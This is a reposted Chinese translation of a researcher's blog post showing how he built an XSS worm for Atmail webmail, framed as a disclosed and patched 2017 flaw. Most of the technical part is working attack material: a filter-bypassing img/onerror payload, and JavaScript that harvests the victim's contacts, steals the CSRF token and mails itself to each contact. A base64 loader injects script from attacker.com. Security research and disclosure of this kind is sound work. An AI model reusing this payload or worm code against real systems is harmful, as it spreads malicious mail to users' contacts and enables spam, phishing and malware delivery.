国庆快乐^^如何在Atmail上构建XSS蠕虫
Posted 安恒网络空间安全讲武堂
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了国庆快乐^^如何在Atmail上构建XSS蠕虫相关的知识,希望对你有一定的参考价值。
回复“微信群”即可加入微信群,更有每周一次的精彩 线上对抗比赛哦!群内有来自上海交大战队的大神,有来自代码审计的“乐清小俊杰”,还有曾经429首都安全日的神秘出题人!快来提问吧
1
如何在Atmail上构建XSS蠕虫
如何在Atmail上构建XSS蠕虫
翻译:王敏伟
转载请注明出处和链接
这篇博客文章由高级安全分析师Zach Julian撰写; 你可以在Twitter上与他联系。
Atmail是云端和本地电子邮件托管的受欢迎的提供商。
作为DreamHost的atmail用户,在我工作期间,我看到了几个令人印象深刻的电子邮件跨站点脚本(XSS)攻击,我试图在他们的webmail前端找到一个xss漏洞。 几个小时后我发现了一个有效载荷,但是想更进一步的利用他。 最着名的XSS蠕虫病例在2005年影响了MySpace ,2014年的TweetDeck更新版本更新。
在这篇文章中,我将展示构建一个通过受害者联系人传播的XSS有效载荷的蠕虫测试。
测试环境
在开始之前,我准备了一个简单的测试环境。 使用以下命令发送电子邮件,将存在的的XSS payload插入到邮件中:
cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com |
然后我使用Firefox开发工具来查看XSS payload是如何在webmail客户端的DOM中呈现的。
构建和测试XSS payload的过程
第一步是构建一个XSS payload,可以完整地运行atmail的内容过滤。我开始发送一封包含每个有效的HTML标签的电子邮件,以查看哪些邮件传递后仍然保留,尽管我最终决定使用<img>标签。虽然<img>很好地构建XSS有效载荷,但其缺点是受害者必须在XSS触发之前决定在atmail内“显示图像”。可以使用标签来开发更好的有效载荷,而不需要进一步的用户交互。
接下来,我开始记录了邮件如何清理我的有效载荷。我需要观察atmail如何处理<img>标签中的字符和HTML属性,以避免过滤器并在受害者的浏览器中呈现语法正确的标签。通过发送包含每个有效属性(1)的<img>标签,我注意到只允许src,alt,longdesc,style,height和width属性。另外,我注意到对我的有效载荷的几个修改,例如将单引号转换为双引号,删除onerror事件,以及删除没有src属性的任何<img>标记。
虽然onerror事件被删除,我怀疑单引号转换为双引号可能有助于避免白名单,如果两者都在<img>标签中使用。最后,这个怀疑证明是正确的,虽然我不得不在两个<img>标签之间使用一组双引号。以下是工作的XSS有效载荷:
1 |
< img longdesc = "src='x'onerror=alert(document.domain);//><img " src = 'showme' > |
这在webmail客户端中呈现如下:
1 |
< img longdesc = "src=" images = "" stop . png "=" " onerror=" alert ( document . domain ) ; //"" alt="showme"> |
在浏览器提交之前,没有查看应用程序源代码,我们是无法准确知道对我的有效载荷被服务器进行了什么处理。 然而,似乎atmail以这样的方式解释单引号和双引号,即使两个<img>标签组合成一个。 在longdesc属性中包含onerror事件,允许它通过内容过滤器,并在处理后正确呈现XSS。
构建蠕虫
找到可以用的的XSS向量后,下一步是创建一个可以传播我的电子邮件蠕虫xss payload 我写了一些javascript代码
分三步:
提取受害者的联系人列表
从atmail获取有效的CSRF令牌
向每个受害者的联系人发送电子邮件
此代码类似于以下内容,XSS有效内容包含在URL编码文本块中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
//HTTP request to grab victim's contacts xmlHttp = new XMLHttpRequest ( ) ; xmlHttp . open ( 'GET' , '/index.php/mail/contacts/viewcontacts/GroupID/0' , false ) ; xmlHttp . send ( null ) ; response = xmlHttp . responseText ;
//Extract email addresses and filter duplicates var extractedemails = response . match ( /[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/i gm ) ; var uniqueemails = [ ] ; for ( var i = 0 ; i < extractedemails . length ; i ++ ) { if ( uniqueemails . indexOf ( extractedemails [ i ] ) == - 1 ) uniqueemails . push ( extractedemails [ i ] ) ; }
//HTTP request to get CSRF token xmlHttp . open ( 'GET' , '/index.php/mail/contacts' , false ) ; xmlHttp . send ( null ) ; response2 = xmlHttp . responseText ; var csrftoken = response2 . match ( /name=\"atmailCSRF" value=\"(.+?)\"/i m ) ;
//Loop through contacts and send email for ( var i = 0 ; i < uniqueemails . length ; i ++ ) { xmlHttp . open ( 'POST' , '/index.php/mail/composemessage/send' , false ) ; var params = 'atmailCSRF=' + csrftoken [ 1 ] + '&emailTo=' + unique [ i ] + '&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e' ; xmlHttp . setRequestHeader ( 'Content-type' , 'application/x-www-form-urlencoded' ) ; xmlHttp . send ( params ) ; |
起初,我尝试对这个JavaScript的一个最小化版本进行Base64编码,并将其包含在XSS有效载荷的onerror事件中。 然后使用eval(atob())对其进行解码和执行,如下所示:
1 |
< img longdesc = " xss/ src='x'onerror=eval(window.atob('eGg9bmV3IFhNTEh0dHBS…omitted for brevity…'));//><img " src = 'showme' > |
不过,我注意到,atmail将我的Base64字符串限制为945个字符,太短。 而不是将整个脚本包含在onerror事件中,我将其托管在外部位置,然后重写了我的XSS有效载荷,如下所示:
1 |
onerror = "include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);" |
上面显示的有效载荷会在以下标签中创建一个新的<script>标签
<head>页面元素,包括我的恶意
外部托管的JavaScript。 这也是Base64编码的
最终有效载荷如下:
1 |
< img longdesc = "src='x'onerror=eval(window.atob('aW5jbHVkZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpbmNsdWRlLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5jb20vYXRtYWlsLmpzJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGluY2x1ZGUpOw=='));//><img " src = 'showme' > |
一切都搞定后,蠕虫已经开始运作了。 下面这个视频演示了它的整个逻辑过程:
atmail上的XSS蠕虫将有利于垃圾邮件发送者和其他恶意软件
谁将受益于操纵受害者发送的行为者
任意消息到他们的联系人列表。 因为它的病毒性质
以及与已知的电子邮件相关联的附加信任
联系,这种攻击将非常适合垃圾邮件,恶意软件传递或
网路钓鱼攻击
披露时间表:发现这个漏洞后,我开始负责与邮件公开程序。 到2017年5月25日,他们得到了补救
这个问题可以通过升级到atmail版本7.8.0.2来修补。
2017-02-24 - 漏洞报告
2017-02-27 - 报告承认
2017-05-25 - 补丁发布
1
64位linux下栈溢出漏洞利用
如何提交flag?
flag能干什么?
正如文章开头所说,flag可以用来兑换书籍、资料、免费账号、研究员亲笔签名T恤等,当然还能换小编我的自拍招,- - 只要你们不嫌弃我丑(我还是个实习生阿!这么出卖我...老娘想哭T_T)。
快去发现你的flag吧!
快去回复留言吧!小编偷偷告诉你,回复“ls” 就是获取flag的第一步哦^^。
关注“安恒网络空间安全武讲堂”并坚持每天转发文章即可获得安恒信息91ctf.com在线学习账号。
什么是91ctf?
91ctf是安恒信息技术有限公司推出的一个学习平台,其主要亮点功能就是在线课程和ctf竞赛啦!
加入微信群 一起讨论安全问题吧!(不准撩小编)
复制链接以下链接
https://support.weixin.qq.com/cgi-bin/mmsupport-bin/addchatroombyinvite?ticket=ATz%2FggNt4khHXcshV83BEQ%3D%3D&exportkey=AS1CYHC8km6h1yHcfsQVqv4%3D&lang=zh_CN&pass_ticket=DXgR6dgj1btyYIUMO%2FdmOROYDbhbrCPyU7ghxTHWJwI%3D&wechat_real_lang=zh_CN
以上是关于国庆快乐^^如何在Atmail上构建XSS蠕虫的主要内容,如果未能解决你的问题,请参考以下文章